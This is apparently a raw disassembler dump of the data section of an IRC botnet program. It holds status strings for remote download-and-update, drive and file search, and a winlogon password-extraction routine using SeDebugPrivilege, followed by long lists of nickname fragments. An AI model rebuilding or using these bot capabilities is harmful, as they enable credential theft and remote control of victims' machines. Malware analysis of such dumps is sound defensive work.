'a+b',0 ; DATA XREF: ___:00416254o unk_437D0C db 2Dh ; - ; DATA XREF: ___:00416240o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437D3C db 2Dh ; - ; DATA XREF: ___:0041688Do db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437D68 db 2Dh ; - ; DATA XREF: ___:0041687Fo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_437D9C db 2Dh ; - ; DATA XREF: ___:004167C3o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_437DE0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416752o dd 25206465h, 73h unk_437DFC db 2Dh ; - ; DATA XREF: ___:004166DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437E34 db 2Dh ; - ; DATA XREF: ___:0041665Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437E5C db 2Dh ; - ; DATA XREF: ___:004165D2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_437E88 db 2Dh ; - ; DATA XREF: ___:0041658Fo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_437EB0 db 2Dh ; - ; DATA XREF: ___:0041657Do db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_437ED8 db 2Dh ; - ; DATA XREF: ___:00416471o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A2:loc_4169E5o ; sub_418EF7+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A2:loc_4169DFo aDisk db 'Disk',0 ; DATA XREF: sub_4169A2:loc_4169D9o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4169A2:loc_4169D3o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A2:loc_4169CDo align 4 off_437F28 dd offset word_4D4152 ; DATA XREF: sub_4169A2:loc_4169C7o word_437F2C dw 3Fh ; DATA XREF: sub_4169A2+1Fo ; sub_41AA43:loc_41AB45r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416A33:loc_416B11o ; sub_416B57+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416A33+6Co align 10h unk_437F40 db 2Dh ; - ; DATA XREF: sub_416B57+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437F7C db 2Dh ; - ; DATA XREF: sub_416B57+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_437FB8 dd offset byte_5C3A41 ; DATA XREF: sub_416C29:loc_416C6Eo db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_438028 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417094o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43805C db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417067o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438088 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417060o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_4380C0 db 2Dh ; - ; DATA XREF: sub_416F1B+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_43811C dd offset byte_530055 ; DATA XREF: sub_416F1B+DCo dd offset byte_520045 dd offset loc_4F0044 dd offset loc_41004B+2 dd offset loc_4E0047+2 dd 0 off_438134 dd offset byte_530055 ; DATA XREF: sub_416F1B+CEo dd offset byte_520045 dd offset loc_41004E dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1B+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o ; sub_416F1B+161o ... align 4 unk_4381F8 db 2Dh ; - ; DATA XREF: sub_416F1B+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170ED+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170ED+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170ED+AFo align 4 dword_438244 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417553+70o ; sub_4175EA+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438294 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175EA+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_4382E8 dd offset aQ ; DATA XREF: sub_417ADE+5Cr ; "q" dd offset dword_438E90 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset dword_438E8C dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_0 ; "s" dd offset aD ; "d" dd offset dword_438E88 dd offset dword_438E84 dd offset dword_438E80 dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42CE54 ; "l" dd offset dword_438E7C dd offset dword_438E78 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438E74 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438E70 dd offset dword_438E6C dd offset dword_438E68 dd offset dword_438E64 dd offset dword_438E60 dd offset word_438E5C dd offset dword_438E58 dd offset aI_0 ; "I" dd offset dword_438E54 dd offset dword_438E50 dd offset aA_0 ; "A" dd offset dword_438E4C dd offset dword_438E48 dd offset dword_438E44 dd offset dword_438E40 dd offset dword_438E3C dd offset dword_438E38 dd offset dword_438E34 dd offset dword_438E30 dd offset dword_438E2C dd offset dword_438E28 dd offset dword_438E24 dd offset dword_438E20 dd offset dword_438E1C dd offset word_438E18 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_438BB0 dd offset off_438BAC dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438A18 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_4385E8 dd offset aSex ; DATA XREF: sub_417ADE+41r ; sub_417ADE+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438E74 dd offset aC ; "c" dd offset aD ; "d" dd offset aE ; "e" dd offset dword_438E88 dd offset dword_438E84 dd offset dword_438E80 dd offset aI ; "i" dd offset dword_42BBFC dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42CE54 ; "l" dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_438E90 dd offset dword_438E78 dd offset dword_438E8C dd offset dword_438E7C dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438E7C dd offset dword_438E84 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438838 dd offset aBbl ; "|bbl" dd offset dword_43D808 dd offset dword_43D808 dd offset a___0 ; "_|_" dd offset dword_43D808 dd offset dword_43D808 dd offset dword_43D808 dd offset dword_43D808 dd offset dword_438E44 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438E74 dd offset dword_43D808 dd offset aSleeping ; "Sleeping" dd offset dword_43D808 dd offset dword_43D808 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D808 dd offset dword_43D808 dd offset dword_438E28 dd offset dword_43D808 dd offset off_4387F8 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4387B8 dd offset dword_4387B4 dd offset dword_4387AC dd offset dword_4387A0 dd offset dword_438798 dd offset dword_438790 dd offset dword_438788 dd offset dword_438784 dd offset dword_438780 dword_438780 dd 7536h ; DATA XREF: ___:0043877Co dword_438784 dd 7535h ; DATA XREF: ___:00438778o dword_438788 dd 7C75347Ch, 0 ; DATA XREF: ___:00438774o dword_438790 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438770o dword_438798 dd 7375347Ch, 7Ch ; DATA XREF: ___:0043876Co dword_4387A0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o dword_4387AC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438764o dword_4387B4 dd 6C6F6Ch ; DATA XREF: ___:00438760o dword_4387B8 dd 746F74h ; DATA XREF: ___:0043875Co aMofo db 'mofo',0 ; DATA XREF: ___:00438758o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438754o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438750o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:0043874Co align 4 aAha db 'aha',0 ; DATA XREF: ___:00438748o aShit db 'shit',0 ; DATA XREF: ___:00438744o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438740o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043873Co align 4 off_4387F8 dd offset word_594F42 ; DATA XREF: ___:00438738o aFree db 'Free',0 ; DATA XREF: ___:00438724o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438720o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438714o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438708o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438704o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438700o align 4 a___0 db '_|_',0 ; DATA XREF: ___:004386E4o aBbl db '|bbl',0 ; DATA XREF: ___:004386D8o align 4 off_438838 dd offset loc_425242 ; DATA XREF: ___:004386D4o aMuckc db 'muckc',0 ; DATA XREF: ___:004386C0o align 4 aTruck db 'truck',0 ; DATA XREF: ___:004386BCo align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:004386B8o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:004386B4o align 4 aUi db 'ui',0 ; DATA XREF: ___:004386B0o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:004386ACo aRt db 'rt',0 ; DATA XREF: ___:004386A8o align 4 aGf db 'gf',0 ; DATA XREF: ___:004386A4o align 4 aTy db 'ty',0 ; DATA XREF: ___:004386A0o align 10h aRg db 'rg',0 ; DATA XREF: ___:0043869Co align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438698o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438678o align 10h aQ8A db '|q8|a',0 ; DATA XREF: ___:00438630o align 4 aQ8 db 'Q8',0 ; DATA XREF: ___:0043862Co align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00438628o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00438624o aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00438620o align 4 aGens db '{gens|',0 ; DATA XREF: ___:0043861Co align 10h aSex_0 db '{sex}',0 ; DATA XREF: ___:00438618o align 4 aHub db '{hub}',0 ; DATA XREF: ___:00438614o align 10h aLuck db '|luck|',0 ; DATA XREF: ___:00438610o align 4 aSuck db '|suck|',0 ; DATA XREF: ___:0043860Co align 10h aTot db '-|tot|',0 ; DATA XREF: ___:00438608o align 4 aWoh db '|woh|',0 ; DATA XREF: ___:00438604o align 10h aTambe db '|tambe|',0 ; DATA XREF: ___:00438600o aLag db 'lag',0 ; DATA XREF: ___:004385FCo aBad db 'bad',0 ; DATA XREF: ___:004385F8o aTree db 'tree',0 ; DATA XREF: ___:004385F4o align 4 aZex db 'zex',0 ; DATA XREF: ___:004385F0o aLez db 'lez',0 ; DATA XREF: ___:004385ECo aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:004385E4o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:004385E0o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:004385DCo align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:004385D8o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:004385D4o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:004385D0o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:004385CCo align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:004385C8o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:004385C4o align 10h aCool30m db 'cool30m',0 ; DATA XREF: ___:004385C0o aTropikal db 'tropikal',0 ; DATA XREF: ___:004385BCo align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:004385B8o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:004385B4o align 4 aUla db 'ula',0 ; DATA XREF: ___:004385B0o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:004385ACo aAkden db 'akden',0 ; DATA XREF: ___:004385A8o align 10h aKoray db 'KORAY',0 ; DATA XREF: ___:004385A4o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:004385A0o align 10h aFirtina db 'firtina',0 ; DATA XREF: ___:0043859Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438598o aM41ist db 'M41IST',0 ; DATA XREF: ___:00438594o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438590o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:0043858Co align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438588o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00438584o align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438580o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:0043857Co align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00438578o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:00438574o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438570o align 4 off_438A18 dd offset byte_4B5245 ; DATA XREF: ___:0043856Co aSevda db 'sevda',0 ; DATA XREF: ___:00438568o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:00438564o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438560o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:0043855Co align 10h aKapk db 'kapk',0 ; DATA XREF: ___:00438558o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00438554o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:00438550o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:0043854Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00438548o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00438544o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00438540o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:0043853Co align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00438538o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:00438534o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00438530o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:0043852Co align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00438528o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00438524o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00438520o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043851Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438518o aHoly db 'holy',0 ; DATA XREF: ___:00438514o align 10h aFlord db 'FLoRD',0 ; DATA XREF: ___:00438510o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:0043850Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438508o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438504o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00438500o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004384FCo align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004384F8o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:004384F4o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:004384F0o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:004384ECo aArda db 'arda',0 ; DATA XREF: ___:004384E8o align 4 aDevran db 'devran',0 ; DATA XREF: ___:004384E4o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:004384E0o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:004384DCo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:004384D8o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:004384D4o align 10h aBogac db 'bogac',0 ; DATA XREF: ___:004384D0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:004384CCo align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:004384C8o align 4 off_438BAC dd offset byte_457441 ; DATA XREF: ___:004384C4o dword_438BB0 dd 414C5941h, 2Dh ; DATA XREF: ___:004384C0o aAlbina db 'albina',0 ; DATA XREF: ___:004384BCo align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:004384B8o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:004384B4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:004384B0o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:004384ACo align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:004384A8o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:004384A4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:004384A0o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:0043849Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438498o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438494o aAslii db 'aslii',0 ; DATA XREF: ___:00438490o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043848Co aHaticem db 'haticem',0 ; DATA XREF: ___:00438488o aArzu db 'ARZU',0 ; DATA XREF: ___:00438484o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438480o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:0043847Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438478o align 10h aTekir db 'tekir',0 ; DATA XREF: ___:00438474o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438470o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:0043846Co align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00438468o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:00438464o align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:00438460o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:0043845Co aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438458o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00438454o align 10h aIrmal db 'irmal',0 ; DATA XREF: ___:00438450o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:0043844Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00438448o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00438444o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00438440o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:0043843Co align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00438438o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00438434o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:00438430o aReshma db 'reshma',0 ; DATA XREF: ___:0043842Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:00438428o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00438424o align 4 aImra db 'imra',0 ; DATA XREF: ___:00438420o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043841Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00438418o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00438414o align 4 aManee db 'manee',0 